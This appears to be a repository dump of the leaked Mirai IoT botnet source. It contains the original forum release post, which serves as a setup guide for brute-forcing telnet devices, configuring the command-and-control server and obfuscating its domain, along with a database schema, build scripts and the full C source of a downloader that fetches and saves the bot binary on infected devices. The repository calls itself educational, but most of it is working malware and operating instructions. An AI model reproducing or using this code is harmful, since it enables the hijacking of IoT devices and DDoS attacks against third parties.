├── README.md ├── db_create.sql ├── dlr ├── build.sh ├── main.c └── release │ ├── .build │ ├── dlr.arm │ ├── dlr.arm7 │ ├── dlr.m68k │ ├── dlr.mips │ ├── dlr.mpsl │ ├── dlr.ppc │ ├── dlr.sh4 │ └── dlr.spc ├── loader ├── bins │ ├── dlr.arm │ ├── dlr.arm7 │ ├── dlr.m68k │ ├── dlr.mips │ ├── dlr.mpsl │ ├── dlr.ppc │ ├── dlr.sh4 │ ├── dlr.spc │ └── dlr.x86 ├── build.debug.sh ├── build.sh └── src │ ├── binary.c │ ├── connection.c │ ├── headers │ ├── binary.h │ ├── connection.h │ ├── includes.h │ ├── server.h │ ├── telnet_info.h │ └── util.h │ ├── main.c │ ├── server.c │ ├── telnet_info.c │ └── util.c ├── mirai ├── bot │ ├── attack.c │ ├── attack.h │ ├── attack_app.c │ ├── attack_gre.c │ ├── attack_tcp.c │ ├── attack_udp.c │ ├── checksum.c │ ├── checksum.h │ ├── includes.h │ ├── killer.c │ ├── killer.h │ ├── main.c │ ├── protocol.h │ ├── rand.c │ ├── rand.h │ ├── resolv.c │ ├── resolv.h │ ├── scanner.c │ ├── scanner.h │ ├── table.c │ ├── table.h │ ├── util.c │ └── util.h ├── build.sh ├── cnc │ ├── admin.go │ ├── api.go │ ├── attack.go │ ├── bot.go │ ├── clientList.go │ ├── constants.go │ ├── database.go │ └── main.go ├── prompt.txt └── tools │ ├── badbot.c │ ├── enc.c │ ├── nogdb.c │ ├── scanListen.go │ ├── single_load.c │ └── wget.c └── script.sh /README.md: -------------------------------------------------------------------------------- 1 | # Mirai source code 2 | 3 | This is the source code of Mirai source which was used to attack against [Krebs On Security](https://krebsonsecurity.com/) recently. The code was released on [Hack Forums](http://hackforums.net/showthread.php?tid=5420472). Here's a post on [Krebs On Security](https://krebsonsecurity.com/2016/10/source-code-for-iot-botnet-mirai-released/). 4 | 5 | _Disclaimer: Not my original work. For educational purposes._ 6 | 7 | ## Forum Post 8 | 9 | Below is the forum post from hackforums with slight modifications for better viewing and links to the files in this repo: 10 | 11 | ### [FREE] World's Largest Net:Mirai Botnet, Client, Echo Loader, CNC source code release 12 | 13 | #### Preface 14 | 15 | Greetz everybody, 16 | 17 | When I first go in DDoS industry, I wasn't planning on staying in it long. I made my money, there's lots of eyes looking at IOT now, so it's time to GTFO. However, I know every skid and their mama, it's their wet dream to have something besides qbot. 18 | 19 | So today, I have an amazing release for you. With Mirai, I usually pull max 380k bots from telnet alone. However, after the Kreb DDoS, ISPs been slowly shutting down and cleaning up their act. Today, max pull is about 300k bots, and dropping. 20 | 21 | So, I am your senpai, and I will treat you real nice, my hf-chan. 22 | 23 | And to everyone that thought they were doing anything by hitting my CNC, I had good laughs, this bot uses domain for CNC. It takes 60 seconds for all bots to reconnect, lol 24 | 25 | Also, shoutout to this blog post by malwaremustdie: 26 | 27 | - [blog.malwaremustdie.org](http://blog.malwaremustdie.org/2016/08/mmd-0056-2016-linuxmirai-just.html) 28 | - [archive.org copy](https://web.archive.org/web/20160930230210/http://blog.malwaremustdie.org/2016/08/mmd-0056-2016-linuxmirai-just.html) <- backup in case low quality reverse engineer unixfreaxjp decides to edit his posts lol 29 | 30 | Had a lot of respect for you, thought you were good reverser, but you really just completely and totally failed in reversing this binary. "We still have better kung fu than you kiddos" don't make me laugh please, you made so many mistakes and even confused some different binaries with my. LOL 31 | 32 | Let me give you some slaps back - 33 | - port 48101 is not for back connect, it is for control to prevent multiple instances of bot running together 34 | - /dev/watchdog and /dev/misc are not for "making the delay", it for preventing system from hanging. This one is low-hanging fruit, so sad that you are extremely dumb 35 | - You failed and thought FAKE_CNC_ADDR and FAKE_CNC_PORT was real CNC, lol "And doing the backdoor to connect via HTTP on 65.222.202.53". you got tripped up by signal flow ;) try harder skiddo 36 | - Your skeleton tool sucks ass, it thought the attack decoder was "sinden style", but it does not even use a text-based protocol? CNC and bot communicate over binary protocol 37 | - you say 'chroot("/") so predictable like torlus' but you don't understand, some others kill based on cwd. It shows how out-of-the-loop you are with real malware. Go back to skidland 38 | 39 | 5 slaps for you 40 | 41 | Why are you writing reverse engineer tools? You cannot even correctly reverse in the first place. Please learn some skills first before trying to impress others. Your arrogance in declaring how you "beat me" with your dumb kung-fu statement made me laugh so hard while eating my SO had to pat me on the back. 42 | 43 | Just as I forever be free, you will be doomed to mediocracy forever. 44 | 45 | 46 | #### Requirements 47 | 48 | **Bare Minimum** 49 | 2 servers: 1 for CNC + mysql, 1 for scan receiver, and 1+ for loading 50 | 51 | **Pro Setup (my setup)** 52 | 53 | 2 VPS and 4 servers 54 | - 1 VPS with extremely bulletproof host for database server 55 | - 1 VPS, rootkitted, for scanReceiver and distributor 56 | - 1 server for CNC (used like 2% CPU with 400k bots) 57 | - 3x 10gbps NForce servers for loading (distributor distributes to 3 servers equally) 58 | 59 | 60 | **Infrastructure Overview** 61 | 62 | - To establish connection to CNC, bots resolve a domain (resolv.c/resolv.h) and connect to that IP address 63 | - Bots brute telnet using an advanced SYN scanner that is around 80x faster than the one in qbot, and uses almost 20x less resources. When finding bruted result, bot resolves another domain and reports it. This is chained to a separate server to automatically load onto devices as results come in. 64 | - Bruted results are sent by default on port 48101. The utility called scanListen.go in tools is used to receive bruted results (I was getting around 500 bruted results per second at peak). If you build in debug mode, you should see the utitlity scanListen binary appear in debug folder. 65 | 66 | Mirai uses a spreading mechanism similar to self-rep, but what I call "real-time-load". Basically, bots brute results, send it to a server listening with scanListen utility, which sends the results to the loader. This loop (brute -> scanListen -> load -> brute) is known as real time loading. 67 | 68 | The loader can be configured to use multiple IP address to bypass port exhaustion in linux (there are limited number of ports available, which means that there is not enough variation in tuple to get more than 65k simultaneous outbound connections - in theory, this value lot less). I would have maybe 60k - 70k simultaneous outbound connections (simultaneous loading) spread out across 5 IPs. 69 | 70 | **Configuring Bot** 71 | Bot has several configuration options that are obfuscated in (table.c/table.h). In ./mirai/bot/table.h you can find most descriptions for configuration options. However, in ./mirai/bot/table.c there are a few options you *need* to change to get working. 72 | 73 | - TABLE_CNC_DOMAIN - Domain name of CNC to connect to - DDoS avoidance very fun with mirai, people try to hit my CNC but I update it faster than they can find new IPs, lol. Retards :) 74 | - TABLE_CNC_PORT - Port to connect to, its set to 23 already 75 | - TABLE_SCAN_CB_DOMAIN - When finding bruted results, this domain it is reported to 76 | - TABLE_SCAN_CB_PORT - Port to connect to for bruted results, it is set to 48101 already. 77 | 78 | In ./mirai/tools you will find something called enc.c - You must compile this to output things to put in the table.c file 79 | 80 | Run this inside mirai directory: 81 | 82 | ``` 83 | ./build.sh debug telnet 84 | ``` 85 | 86 | You will get some errors related to cross-compilers not being there if you have not configured them. This is ok, won't affect compiling the enc tool 87 | 88 | Now, in the ./mirai/debug folder you should see a compiled binary called enc. For example, to get obfuscated string for domain name for bots to connect to, use this: 89 | 90 | ``` 91 | ./debug/enc string fuck.the.police.com 92 | ``` 93 | 94 | The output should look like this 95 | ``` 96 | XOR'ing 20 bytes of data... 97 | \x44\x57\x41\x49\x0C\x56\x4A\x47\x0C\x52\x4D\x4E\x4B\x41\x47\x0C\x41\x4D\x4F\x22 98 | ``` 99 | 100 | To update the TABLE_CNC_DOMAIN value for example, replace that long hex string with the one provided by enc tool. Also, you see "XOR'ing 20 bytes of data". This value must replace the last argument tas well. So for example, the table.c line originally looks like this 101 | 102 | ``` 103 | add_entry(TABLE_CNC_DOMAIN, "\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 30); // cnc.changeme.com 104 | ``` 105 | 106 | Now that we know value from enc tool, we update it like this: 107 | 108 | ``` 109 | add_entry(TABLE_CNC_DOMAIN, "\x44\x57\x41\x49\x0C\x56\x4A\x47\x0C\x52\x4D\x4E\x4B\x41\x47\x0C\x41\x4D\x4F\x22", 20); // fuck.the.police.com 110 | ``` 111 | 112 | Some values are strings, some are port (uint16 in network order / big endian). 113 | 114 | **Configuring CNC** 115 | 116 | ``` 117 | apt-get install mysql-server mysql-client 118 | ``` 119 | 120 | CNC requires database to work. When you install database, go into it and run following commands: 121 | 122 | - [db create sql](db_create.sql) or copy from http://pastebin.com/86d0iL9g 123 | 124 | This will create database for you. To add your user, 125 | ``` 126 | INSERT INTO users VALUES (NULL, 'anna-senpai', 'myawesomepassword', 0, 0, 0, 0, -1, 1, 30, ''); 127 | ``` 128 | 129 | Now, go into file `./mirai/cnc/main.go` 130 | 131 | Edit these values 132 | 133 | ``` 134 | const DatabaseAddr string = "127.0.0.1" 135 | const DatabaseUser string = "root" 136 | const DatabasePass string = "password" 137 | const DatabaseTable string = "mirai" 138 | ``` 139 | 140 | To the information for the mysql server you just installed 141 | 142 | 143 | **Setting Up Cross Compilers** 144 | 145 | Cross compilers are easy, follow the instructions at this link to set up. You must restart your system or reload `.bashrc` file for these changes to take effect. 146 | 147 | - [script](script.sh) or pastebin: http://pastebin.com/1rRCc3aD 148 | 149 | **Building CNC+Bot** 150 | 151 | The CNC, bot, and related tools: 152 | - [loader](loader) 153 | - [mirai](mirai) 154 | 155 | How to build bot + CNC 156 | In mirai folder, there is build.sh script. 157 | 158 | ``` 159 | ./build.sh debug telnet 160 | ``` 161 | 162 | Will output debug binaries of bot that will not daemonize and print out info about if it can connect to CNC, etc, status of floods, etc. Compiles to `./mirai/debug` folder 163 | 164 | ``` 165 | ./build.sh release telnet 166 | ``` 167 | 168 | Will output production-ready binaries of bot that are extremely stripped, small (about 60K) that should be loaded onto devices. Compiles all binaries in format: `mirai.$ARCH` to `./mirai/release` folder 169 | 170 | 171 | **Building Echo Loader** 172 | 173 | Loader reads telnet entries from STDIN in following format: 174 | 175 | ``` 176 | ip:port user:pass 177 | ``` 178 | 179 | It detects if there is wget or tftp, and tries to download the binary using that. If not, it will echoload a tiny binary (about 1kb) that will suffice as wget. 180 | 181 | ``` 182 | ./build.sh 183 | ``` 184 | 185 | Will build the loader, optimized, production use, no fuss. If you have a file in formats used for loading, you can do this 186 | 187 | ``` 188 | cat file.txt | ./loader 189 | ``` 190 | 191 | Remember to `ulimit`! 192 | 193 | Just so it's clear, I'm not providing any kind of 1 on 1 help tutorials or shit, too much time. All scripts and everything are included to set up working botnet in under 1 hours. I am willing to help if you have individual questions (how come CNC not connecting to database, I did this this this blah blah), but not questions like "My bot not connect, fix it" 194 | -------------------------------------------------------------------------------- /db_create.sql: -------------------------------------------------------------------------------- 1 | CREATE DATABASE mirai; 2 | 3 | CREATE TABLE `history` ( 4 | `id` int(10) unsigned NOT NULL AUTO_INCREMENT, 5 | `user_id` int(10) unsigned NOT NULL, 6 | `time_sent` int(10) unsigned NOT NULL, 7 | `duration` int(10) unsigned NOT NULL, 8 | `command` text NOT NULL, 9 | `max_bots` int(11) DEFAULT '-1', 10 | PRIMARY KEY (`id`), 11 | KEY `user_id` (`user_id`) 12 | ); 13 | 14 | CREATE TABLE `users` ( 15 | `id` int(10) unsigned NOT NULL AUTO_INCREMENT, 16 | `username` varchar(32) NOT NULL, 17 | `password` varchar(32) NOT NULL, 18 | `duration_limit` int(10) unsigned DEFAULT NULL, 19 | `cooldown` int(10) unsigned NOT NULL, 20 | `wrc` int(10) unsigned DEFAULT NULL, 21 | `last_paid` int(10) unsigned NOT NULL, 22 | `max_bots` int(11) DEFAULT '-1', 23 | `admin` int(10) unsigned DEFAULT '0', 24 | `intvl` int(10) unsigned DEFAULT '30', 25 | `api_key` text, 26 | PRIMARY KEY (`id`), 27 | KEY `username` (`username`) 28 | ); 29 | 30 | CREATE TABLE `whitelist` ( 31 | `id` int(10) unsigned NOT NULL AUTO_INCREMENT, 32 | `prefix` varchar(16) DEFAULT NULL, 33 | `netmask` tinyint(3) unsigned DEFAULT NULL, 34 | PRIMARY KEY (`id`), 35 | KEY `prefix` (`prefix`) 36 | ); 37 | -------------------------------------------------------------------------------- /dlr/build.sh: -------------------------------------------------------------------------------- 1 | armv4l-gcc -Os -D BOT_ARCH=\"arm\" -D ARM -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.arm 2 | armv6l-gcc -Os -D BOT_ARCH=\"arm7\" -D ARM -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.arm7 3 | i686-gcc -Os -D BOT_ARCH=\"x86\" -D X32 -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.x86 4 | m68k-gcc -Os -D BOT_ARCH=\"m68k\" -D M68K -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.m68k 5 | mips-gcc -Os -D BOT_ARCH=\"mips\" -D MIPS -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.mips 6 | #mips64-gcc -Os -D BOT_ARCH=\"mps64\" -D MIPS -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.mps64 7 | mipsel-gcc -Os -D BOT_ARCH=\"mpsl\" -D MIPSEL -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.mpsl 8 | powerpc-gcc -Os -D BOT_ARCH=\"ppc\" -D PPC -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.ppc 9 | sh4-gcc -Os -D BOT_ARCH=\"sh4\" -D SH4 -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.sh4 10 | #sh2elf-gcc -Os -D BOT_ARCH=\"sh2el\" -D SH2EL -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.sh2el 11 | #sh2eb-gcc -Os -D BOT_ARCH=\"sh2eb\" -D SH2EB -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.sh2eb 12 | sparc-gcc -Os -D BOT_ARCH=\"spc\" -D SPARC -Wl,--gc-sections -fdata-sections -ffunction-sections -e __start -nostartfiles -static main.c -o ./release/dlr.spc 13 | 14 | armv4l-strip -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr ./release/dlr.arm 15 | armv6l-strip -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr ./release/dlr.arm7 16 | i686-strip -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr ./release/dlr.x86 17 | m68k-strip -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr ./release/dlr.m68k 18 | mips-strip -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr ./release/dlr.mips 19 | mipsel-strip -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr ./release/dlr.mpsl 20 | powerpc-strip -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr ./release/dlr.ppc 21 | sh4-strip -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr ./release/dlr.sh4 22 | sparc-strip -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr ./release/dlr.spc -------------------------------------------------------------------------------- /dlr/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | //#include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #define HTTP_SERVER utils_inet_addr(127,0,0,1) // CHANGE TO YOUR HTTP SERVER IP 9 | 10 | #define EXEC_MSG "MIRAI\n" 11 | #define EXEC_MSG_LEN 6 12 | 13 | #define DOWNLOAD_MSG "FIN\n" 14 | #define DOWNLOAD_MSG_LEN 4 15 | 16 | #define STDIN 0 17 | #define STDOUT 1 18 | #define STDERR 2 19 | 20 | #if BYTE_ORDER == BIG_ENDIAN 21 | #define HTONS(n) (n) 22 | #define HTONL(n) (n) 23 | #elif BYTE_ORDER == LITTLE_ENDIAN 24 | #define HTONS(n) (((((unsigned short)(n) & 0xff)) << 8) | (((unsigned short)(n) & 0xff00) >> 8)) 25 | #define HTONL(n) (((((unsigned long)(n) & 0xff)) << 24) | \ 26 | ((((unsigned long)(n) & 0xff00)) << 8) | \ 27 | ((((unsigned long)(n) & 0xff0000)) >> 8) | \ 28 | ((((unsigned long)(n) & 0xff000000)) >> 24)) 29 | #else 30 | #error "Fix byteorder" 31 | #endif 32 | 33 | #ifdef __ARM_EABI__ 34 | #define SCN(n) ((n) & 0xfffff) 35 | #else 36 | #define SCN(n) (n) 37 | #endif 38 | 39 | inline void run(void); 40 | int sstrlen(char *); 41 | unsigned int utils_inet_addr(unsigned char, unsigned char, unsigned char, unsigned char); 42 | 43 | /* stdlib calls */ 44 | int xsocket(int, int, int); 45 | int xwrite(int, void *, int); 46 | int xread(int, void *, int); 47 | int xconnect(int, struct sockaddr_in *, int); 48 | int xopen(char *, int, int); 49 | int xclose(int); 50 | void x__exit(int); 51 | 52 | #define socket xsocket 53 | #define write xwrite 54 | #define read xread 55 | #define connect xconnect 56 | #define open xopen 57 | #define close xclose 58 | #define __exit x__exit 59 | 60 | #ifdef DEBUG 61 | /* 62 | void xprintf(char *str) 63 | { 64 | write(1, str, sstrlen(str)); 65 | } 66 | #define printf xprintf 67 | */ 68 | #endif 69 | 70 | void __start(void) 71 | { 72 | #if defined(MIPS) || defined(MIPSEL) 73 | __asm( 74 | ".set noreorder\n" 75 | "move $0, $31\n" 76 | "bal 10f\n" 77 | "nop\n" 78 | "10:\n.cpload $31\n" 79 | "move $31, $0\n" 80 | ".set reorder\n" 81 | ); 82 | #endif 83 | run(); 84 | } 85 | 86 | inline void run(void) 87 | { 88 | char recvbuf[128]; 89 | struct sockaddr_in addr; 90 | int sfd, ffd, ret; 91 | unsigned int header_parser = 0; 92 | int arch_strlen = sstrlen(BOT_ARCH); 93 | 94 | write(STDOUT, EXEC_MSG, EXEC_MSG_LEN); 95 | 96 | addr.sin_family = AF_INET; 97 | addr.sin_port = HTONS(80); 98 | addr.sin_addr.s_addr = HTTP_SERVER; 99 | 100 | ffd = open("dvrHelper", O_WRONLY | O_CREAT | O_TRUNC, 0777); 101 | 102 | sfd = socket(AF_INET, SOCK_STREAM, 0); 103 | 104 | #ifdef DEBUG 105 | if (ffd == -1) 106 | printf("Failed to open file!\n"); 107 | if (sfd == -1) 108 | printf("Failed to call socket()\n"); 109 | #endif 110 | 111 | if (sfd == -1 || ffd == -1) 112 | __exit(1); 113 | 114 | #ifdef DEBUG 115 | printf("Connecting to host...\n"); 116 | #endif 117 | 118 | if ((ret = connect(sfd, &addr, sizeof (struct sockaddr_in))) < 0) 119 | { 120 | #ifdef DEBUG 121 | printf("Failed to connect to host.\n"); 122 | #endif 123 | write(STDOUT, "NIF\n", 4); 124 | __exit(-ret); 125 | } 126 | 127 | #ifdef DEBUG 128 | printf("Connected to host\n"); 129 | #endif 130 | 131 | if (write(sfd, "GET /bins/mirai." BOT_ARCH " HTTP/1.0\r\n\r\n", 16 + arch_strlen + 13) != (16 + arch_strlen + 13)) 132 | { 133 | #ifdef DEBUG 134 | printf("Failed to send get request.\n"); 135 | #endif 136 | 137 | __exit(3); 138 | } 139 | 140 | #ifdef DEBUG 141 | printf("Started header parse...\n"); 142 | #endif 143 | 144 | while (header_parser != 0x0d0a0d0a) 145 | { 146 | char ch; 147 | int ret = read(sfd, &ch, 1); 148 | 149 | if (ret != 1) 150 | __exit(4); 151 | header_parser = (header_parser << 8) | ch; 152 | } 153 | 154 | #ifdef DEBUG 155 | printf("Finished receiving HTTP header\n"); 156 | #endif 157 | 158 | while (1) 159 | { 160 | int ret = read(sfd, recvbuf, sizeof (recvbuf)); 161 | 162 | if (ret <= 0) 163 | break; 164 | write(ffd, recvbuf, ret); 165 | } 166 | 167 | close(sfd); 168 | close(ffd); 169 | write(STDOUT, DOWNLOAD_MSG, DOWNLOAD_MSG_LEN); 170 | __exit(5); 171 | } 172 | 173 | int sstrlen(char *str) 174 | { 175 | int c = 0; 176 | 177 | while (*str++ != 0) 178 | c++; 179 | return c; 180 | } 181 | 182 | unsigned int utils_inet_addr(unsigned char one, unsigned char two, unsigned char three, unsigned char four) 183 | { 184 | unsigned long ip = 0; 185 | 186 | ip |= (one << 24); 187 | ip |= (two << 16); 188 | ip |= (three << 8); 189 | ip |= (four << 0); 190 | return HTONL(ip); 191 | } 192 | 193 | int xsocket(int domain, int type, int protocol) 194 | { 195 | #if defined(__NR_socketcall) 196 | #ifdef DEBUG 197 | printf("socket using socketcall\n"); 198 | #endif 199 | struct { 200 | int domain, type, protocol; 201 | } socketcall; 202 | socketcall.domain = domain; 203 | socketcall.type = type; 204 | socketcall.protocol = protocol; 205 | 206 | // 1 == SYS_SOCKET 207 | int ret = syscall(SCN(SYS_socketcall), 1, &socketcall); 208 | 209 | #ifdef DEBUG 210 | printf("socket got ret: %d\n", ret); 211 | #endif 212 | return ret; 213 | #else 214 | #ifdef DEBUG 215 | printf("socket using socket\n"); 216 | #endif 217 | return syscall(SCN(SYS_socket), domain, type, protocol); 218 | #endif 219 | } 220 | 221 | int xread(int fd, void *buf, int len) 222 | { 223 | return syscall(SCN(SYS_read), fd, buf, len); 224 | } 225 | 226 | int xwrite(int fd, void *buf, int len) 227 | { 228 | return syscall(SCN(SYS_write), fd, buf, len); 229 | } 230 | 231 | int xconnect(int fd, struct sockaddr_in *addr, int len) 232 | { 233 | #if defined(__NR_socketcall) 234 | #ifdef DEBUG 235 | printf("connect using socketcall\n"); 236 | #endif 237 | struct { 238 | int fd; 239 | struct sockaddr_in *addr; 240 | int len; 241 | } socketcall; 242 | socketcall.fd = fd; 243 | socketcall.addr = addr; 244 | socketcall.len = len; 245 | // 3 == SYS_CONNECT 246 | int ret = syscall(SCN(SYS_socketcall), 3, &socketcall); 247 | 248 | #ifdef DEBUG 249 | printf("connect got ret: %d\n", ret); 250 | #endif 251 | 252 | return ret; 253 | #else 254 | #ifdef DEBUG 255 | printf("connect using connect\n"); 256 | #endif 257 | return syscall(SCN(SYS_connect), fd, addr, len); 258 | #endif 259 | } 260 | 261 | int xopen(char *path, int flags, int other) 262 | { 263 | return syscall(SCN(SYS_open), path, flags, other); 264 | } 265 | 266 | int xclose(int fd) 267 | { 268 | return syscall(SCN(SYS_close), fd); 269 | } 270 | 271 | void x__exit(int code) 272 | { 273 | syscall(SCN(SYS_exit), code); 274 | } 275 | -------------------------------------------------------------------------------- /dlr/release/.build: -------------------------------------------------------------------------------- 1 | wtf why would you hit krebs 2 | Hm, why do you care? Just move C2 or something? 3 | no fuck, this is the shit you avoid. fuck off 4 | im kicking you off 5 | Are you fucking me? you better be joking 6 | DO YOU HVE ANY IDEE 7 | * IDEA 8 | WHAT YOUVE DONE 9 | look man i was just messing around its nbd 10 | YOU F UCKING IDIOT -------------------------------------------------------------------------------- /dlr/release/dlr.arm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/techgaun/mirai/455a72aa7fcd06d3a619f34f06b2f92f3de5b94a/dlr/release/dlr.arm -------------------------------------------------------------------------------- /dlr/release/dlr.arm7: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/techgaun/mirai/455a72aa7fcd06d3a619f34f06b2f92f3de5b94a/dlr/release/dlr.arm7 -------------------------------------------------------------------------------- /dlr/release/dlr.m68k: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/techgaun/mirai/455a72aa7fcd06d3a619f34f06b2f92f3de5b94a/dlr/release/dlr.m68k -------------------------------------------------------------------------------- /dlr/release/dlr.mips: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/techgaun/mirai/455a72aa7fcd06d3a619f34f06b2f92f3de5b94a/dlr/release/dlr.mips -------------------------------------------------------------------------------- /dlr/release/dlr.mpsl: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/techgaun/mirai/455a72aa7fcd06d3a619f34f06b2f92f3de5b94a/dlr/release/dlr.mpsl -------------------------------------------------------------------------------- /dlr/release/dlr.ppc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/techgaun/mirai/455a72aa7fcd06d3a619f34f06b2f92f3de5b94a/dlr/release/dlr.ppc -------------------------------------------------------------------------------- /dlr/release/dlr.sh4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/techgaun/mirai/455a72aa7fcd06d3a619f34f06b2f92f3de5b94a/dlr/release/dlr.sh4 -------------------------------------------------------------------------------- /dlr/release/dlr.spc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/techgaun/mirai/455a72aa7fcd06d3a619f34f06b2f92f3de5b94a/dlr/release/dlr.spc -------------------------------------------------------------------------------- /loader/bins/dlr.arm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/techgaun/mirai/455a72aa7fcd06d3a619f34f06b2f92f3de5b94a/loader/bins/dlr.arm -------------------------------------------------------------------------------- /loader/bins/dlr.arm7: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/techgaun/mirai/455a72aa7fcd06d3a619f34f06b2f92f3de5b94a/loader/bins/dlr.arm7 -------------------------------------------------------------------------------- /loader/bins/dlr.m68k: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/techgaun/mirai/455a72aa7fcd06d3a619f34f06b2f92f3de5b94a/loader/bins/dlr.m68k -------------------------------------------------------------------------------- /loader/bins/dlr.mips: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/techgaun/mirai/455a72aa7fcd06d3a619f34f06b2f92f3de5b94a/loader/bins/dlr.mips -------------------------------------------------------------------------------- /loader/bins/dlr.mpsl: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/techgaun/mirai/455a72aa7fcd06d3a619f34f06b2f92f3de5b94a/loader/bins/dlr.mpsl -------------------------------------------------------------------------------- /loader/bins/dlr.ppc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/techgaun/mirai/455a72aa7fcd06d3a619f34f06b2f92f3de5b94a/loader/bins/dlr.ppc -------------------------------------------------------------------------------- /loader/bins/dlr.sh4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/techgaun/mirai/455a72aa7fcd06d3a619f34f06b2f92f3de5b94a/loader/bins/dlr.sh4 -------------------------------------------------------------------------------- /loader/bins/dlr.spc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/techgaun/mirai/455a72aa7fcd06d3a619f34f06b2f92f3de5b94a/loader/bins/dlr.spc -------------------------------------------------------------------------------- /loader/bins/dlr.x86: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/techgaun/mirai/455a72aa7fcd06d3a619f34f06b2f92f3de5b94a/loader/bins/dlr.x86 -------------------------------------------------------------------------------- /loader/build.debug.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | gcc -lefence -g -DDEBUG -static -lpthread -pthread -O3 src/*.c -o loader.dbg 3 | -------------------------------------------------------------------------------- /loader/build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | gcc -static -O3 -lpthread -pthread src/*.c -o loader 3 | -------------------------------------------------------------------------------- /loader/src/binary.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include "headers/includes.h" 6 | #include "headers/binary.h" 7 | 8 | static int bin_list_len = 0; 9 | static struct binary **bin_list = NULL; 10 | 11 | BOOL binary_init(void) 12 | { 13 | glob_t pglob; 14 | int i; 15 | 16 | if (glob("bins/dlr.*", GLOB_ERR, NULL, &pglob) != 0) 17 | { 18 | printf("Failed to load from bins folder!\n"); 19 | return; 20 | } 21 | 22 | for (i = 0; i < pglob.gl_pathc; i++) 23 | { 24 | char file_name[256]; 25 | struct binary *bin; 26 | 27 | bin_list = realloc(bin_list, (bin_list_len + 1) * sizeof (struct binary *)); 28 | bin_list[bin_list_len] = calloc(1, sizeof (struct binary)); 29 | bin = bin_list[bin_list_len++]; 30 | 31 | #ifdef DEBUG 32 | printf("(%d/%d) %s is loading...\n", i + 1, pglob.gl_pathc, pglob.gl_pathv[i]); 33 | #endif 34 | strcpy(file_name, pglob.gl_pathv[i]); 35 